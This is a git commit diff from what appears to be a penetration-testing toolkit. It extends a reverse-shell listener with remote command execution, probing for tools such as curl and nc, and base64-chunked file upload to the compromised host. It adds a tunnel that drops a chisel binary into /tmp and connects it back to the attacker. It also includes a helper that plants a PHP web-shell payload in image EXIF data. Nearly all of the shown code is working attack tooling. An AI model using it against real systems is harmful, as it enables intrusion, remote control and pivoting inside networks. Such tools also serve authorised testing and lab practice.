Project re-structuring (python naming conventions)

This commit is contained in:
Roman Hergenreder 2022-01-23 22:09:12 +01:00
parent 353c4b7b88
commit 8adc30d7ae
6 changed files with 9268 additions and 793 deletions

@ -2,7 +2,7 @@ import os
import sys import sys
__doc__ = __doc__ or "" __doc__ = __doc__ or ""
__all__ = ["util","fileserver","xss_handler","genRevShell","xp_cmdshell", "dnsserver"] __all__ = ["util","fileserver","xss_handler","rev_shell","xp_cmdshell", "dnsserver"]
inc_dir = os.path.dirname(os.path.realpath(__file__)) inc_dir = os.path.dirname(os.path.realpath(__file__))
sys.path.append(inc_dir) sys.path.append(inc_dir)

@ -1,12 +1,14 @@
#!/usr/bin/python #!/usr/bin/python
import socket import socket
import os
import sys import sys
import pty import pty
import util import util
import time import time
import random import random
import threading import threading
import paramiko
import readline import readline
import base64 import base64
@ -17,16 +19,30 @@ class ShellListener:
self.bind_addr = addr self.bind_addr = addr
self.port = port self.port = port
self.verbose = False self.verbose = False
self.on_message = None self.on_message = []
self.listen_thread = None self.listen_thread = None
self.connection = None self.connection = None
self.on_connect = None self.on_connect = None
self.features = set()
def startBackground(self): def startBackground(self):
self.listen_thread = threading.Thread(target=self.start) self.listen_thread = threading.Thread(target=self.start)
self.listen_thread.start() self.listen_thread.start()
return self.listen_thread return self.listen_thread
def has_feature(self, feature):
return feature.lower() in self.features
def probe_features(self):
features = ["wget", "curl", "nc", "sudo", "telnet", "docker", "python"]
for feature in features:
output = self.exec_sync("whereis " + feature)
if output.startswith(feature.encode() + b": ") and len(output) >= len(feature)+2:
self.features.add(feature.lower())
def get_features(self):
return self.features
def start(self): def start(self):
self.running = True self.running = True
self.listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
@ -46,8 +62,8 @@ class ShellListener:
break break
if self.verbose: if self.verbose:
print("< ", data) print("< ", data)
if self.on_message: for callback in self.on_message:
self.on_message(data) callback(data)
print("[-] Disconnected") print("[-] Disconnected")
self.connection = None self.connection = None
@ -73,12 +89,42 @@ class ShellListener:
data += b"\n" data += b"\n"
return self.send(data) return self.send(data)
def exec_sync(self, cmd):
output = b""
complete = False
if isinstance(cmd, str):
cmd = cmd.encode()
def callback(data):
nonlocal output
nonlocal complete
if complete:
return
output += data
if data.endswith(b"# ") or data.endswith(b"$ "):
complete = True
if b"\n" in output:
output = output[0:output.rindex(b"\n")]
if output.startswith(cmd + b"\n"):
output = output[len(cmd)+1:]
self.on_message.append(callback)
self.sendline(cmd)
while not complete:
time.sleep(0.1)
self.on_message.remove(callback)
return output
def print_message(self, data): def print_message(self, data):
sys.stdout.write(data.decode()) sys.stdout.write(data.decode())
sys.stdout.flush() sys.stdout.flush()
def interactive(self): def interactive(self):
self.on_message = lambda x: self.print_message(x) self.on_message.append(lambda x: self.print_message(x))
while self.running and self.connection is not None: while self.running and self.connection is not None:
self.sendline(input()) self.sendline(input())
@ -87,7 +133,36 @@ class ShellListener:
time.sleep(0.1) time.sleep(0.1)
return self.running return self.running
def generatePayload(type, local_address, port, index=None): def write_file(self, path, data_or_fd, permissions=None):
def write_chunk(chunk, first=False):
# assume this is unix
chunk = base64.b64encode(chunk).decode()
operator = ">" if first else ">>"
self.sendline(f"echo {chunk}|base64 -d {operator} {path}")
chunk_size = 1024
if hasattr(data_or_fd, "read"):
first = True
while True:
data = data_or_fd.read(chunk_size)
if not data:
break
if isinstance(data, str):
data = data.encode()
write_chunk(data, first)
first = False
data_or_fd.close()
else:
if isinstance(data_or_fd, str):
data_or_fd = data_or_fd.encode()
for offset in range(0, len(data_or_fd), chunk_size):
write_chunk(data_or_fd[offset:chunk_size], offset == 0)
if permissions:
self.sendline(f"chmod {permissions} {path}")
def generate_payload(type, local_address, port, index=None):
commands = [] commands = []
@ -127,7 +202,7 @@ def generatePayload(type, local_address, port, index=None):
def spawn_listener(port): def spawn_listener(port):
pty.spawn(["nc", "-lvvp", str(port)]) pty.spawn(["nc", "-lvvp", str(port)])
def triggerShell(func, port): def trigger_shell(func, port):
def _wait_and_exec(): def _wait_and_exec():
time.sleep(1.5) time.sleep(1.5)
func() func()
@ -135,7 +210,7 @@ def triggerShell(func, port):
threading.Thread(target=_wait_and_exec).start() threading.Thread(target=_wait_and_exec).start()
spawn_listener(port) spawn_listener(port)
def triggerShellBackground(func, port): def trigger_background_shell(func, port):
listener = ShellListener("0.0.0.0", port) listener = ShellListener("0.0.0.0", port)
listener.startBackground() listener.startBackground()
threading.Thread(target=func).start() threading.Thread(target=func).start()
@ -143,6 +218,30 @@ def triggerShellBackground(func, port):
time.sleep(0.5) time.sleep(0.5)
return listener return listener
def create_tunnel(shell, ports: list):
if len(ports) == 0:
print("[-] Need at least one port to tunnel")
return
# TODO: ports
if isinstance(shell, ShellListener):
# TODO: if chisel has not been transmitted yet
# we need a exec sync function, but this requires guessing when the output ended or we need to know the shell prompt
ipAddress = util.get_address()
chiselPort = 3000
chisel_path = os.path.join(os.path.dirname(__file__), "chisel64")
shell.write_file("/tmp/chisel64", open(chisel_path, "rb"))
shell.sendline("chmod +x /tmp/chisel64")
t = threading.Thread(target=os.system, args=(f"{chisel_path} server --port {chisel_port} --reverse", ))
t.start()
shell.sendline(f"/tmp/chisel64 client --max-retry-count 1 {ipAddress}:{chiselPort} {ports} 2>&1 >/dev/null &")
elif isinstance(shell, paramiko.SSHClient):
# TODO: https://github.com/paramiko/paramiko/blob/88f35a537428e430f7f26eee8026715e357b55d6/demos/forward.py#L103
pass
if __name__ == "__main__": if __name__ == "__main__":
if len(sys.argv) < 2: if len(sys.argv) < 2:
@ -152,7 +251,7 @@ if __name__ == "__main__":
listen_port = None if len(sys.argv) < 3 else int(sys.argv[2]) listen_port = None if len(sys.argv) < 3 else int(sys.argv[2])
payload_type = sys.argv[1].lower() payload_type = sys.argv[1].lower()
local_address = util.getAddress() local_address = util.get_address()
# choose random port # choose random port
if listen_port is None: if listen_port is None:
@ -160,7 +259,7 @@ if __name__ == "__main__":
while util.isPortInUse(listen_port): while util.isPortInUse(listen_port):
listen_port = random.randint(10000,65535) listen_port = random.randint(10000,65535)
payload = generatePayload(payload_type, local_address, listen_port) payload = generate_payload(payload_type, local_address, listen_port)
if payload is None: if payload is None:
print("Unknown payload type: %s" % payload_type) print("Unknown payload type: %s" % payload_type)

@ -32,5 +32,5 @@ echo "[+] Chars: ${charcountDomain} and ${charcountIpAddress}"
echo "[ ] Fuzzing…" echo "[ ] Fuzzing…"
ffuf --fs ${charcountDomain},${charcountIpAddress} --fc 400 --mc all \ ffuf --fs ${charcountDomain},${charcountIpAddress} --fc 400 --mc all \
-w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt \ -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt \
-u "${PROTOCOL}://${IP_ADDRESS}" -H "Host: FUZZ.${DOMAIN}" "${@:2}" -u "${PROTOCOL}://${IP_ADDRESS}" -H "Host: FUZZ.${DOMAIN}" "${@:2}"

18
util.py

@ -16,8 +16,7 @@ def isPortInUse(port):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
return s.connect_ex(('127.0.0.1', port)) == 0 return s.connect_ex(('127.0.0.1', port)) == 0
def get_address(interface="tun0"):
def getAddress(interface="tun0"):
if not interface in ni.interfaces(): if not interface in ni.interfaces():
interfaces = ni.interfaces() interfaces = ni.interfaces()
interfaces.remove('lo') interfaces.remove('lo')
@ -111,7 +110,7 @@ def pad(x, n):
x += (n-(len(x)%n))*b"\x00" x += (n-(len(x)%n))*b"\x00"
return x return x
def exifImage(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None): def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None):
if _in is None or (isinstance(_in, str) and not os.path.exists(_in)): if _in is None or (isinstance(_in, str) and not os.path.exists(_in)):
_in = Image.new("RGB", (50,50), (255,255,255)) _in = Image.new("RGB", (50,50), (255,255,255))
@ -120,7 +119,7 @@ def exifImage(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_t
_in = exif.Image(open(_in, "rb")) _in = exif.Image(open(_in, "rb"))
elif isinstance(_in, Image.Image): elif isinstance(_in, Image.Image):
bytes = io.BytesIO() bytes = io.BytesIO()
_in.save(bytes, format='PNG') _in.save(bytes, format='JPEG')
_in = exif.Image(bytes.getvalue()) _in = exif.Image(bytes.getvalue())
elif not isinstance(_in, exif.Image): elif not isinstance(_in, exif.Image):
print("Invalid input. Either give an Image or a path to an image.") print("Invalid input. Either give an Image or a path to an image.")
@ -145,8 +144,7 @@ def exifImage(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_t
_in[exif_tag] = payload _in[exif_tag] = payload
if _out is None: if _out is None:
sys.stdout.write(_in.get_file()) return _in.get_file()
sys.stdout.flush()
elif isinstance(_out, str): elif isinstance(_out, str):
with open(_out, "wb") as f: with open(_out, "wb") as f:
f.write(_in.get_file()) f.write(_in.get_file())
@ -165,9 +163,9 @@ if __name__ == "__main__":
command = sys.argv[1] command = sys.argv[1]
if command == "getAddress": if command == "getAddress":
if len(sys.argv) >= 3: if len(sys.argv) >= 3:
print(getAddress(sys.argv[2])) print(get_address(sys.argv[2]))
else: else:
print(getAddress()) print(get_address())
elif command == "pad": elif command == "pad":
if len(sys.argv) >= 3: if len(sys.argv) >= 3:
n = 8 n = 8
@ -192,7 +190,9 @@ if __name__ == "__main__":
else: else:
_out = ".".join(_out[0:-1]) + "_exif." + _out[-1] _out = ".".join(_out[0:-1]) + "_exif." + _out[-1]
exifImage(payload, _in, _out, tag) output = set_exif_data(payload, _in, _out, tag)
sys.stdout.buffer.write(output)
sys.stdout.flush()
elif command == "help": elif command == "help":
print("Usage: %s [command]" % bin) print("Usage: %s [command]" % bin)
print("Available commands:") print("Available commands:")

File diff suppressed because it is too large Load Diff

4480
win/Powermad.ps1 Normal file

File diff suppressed because it is too large Load Diff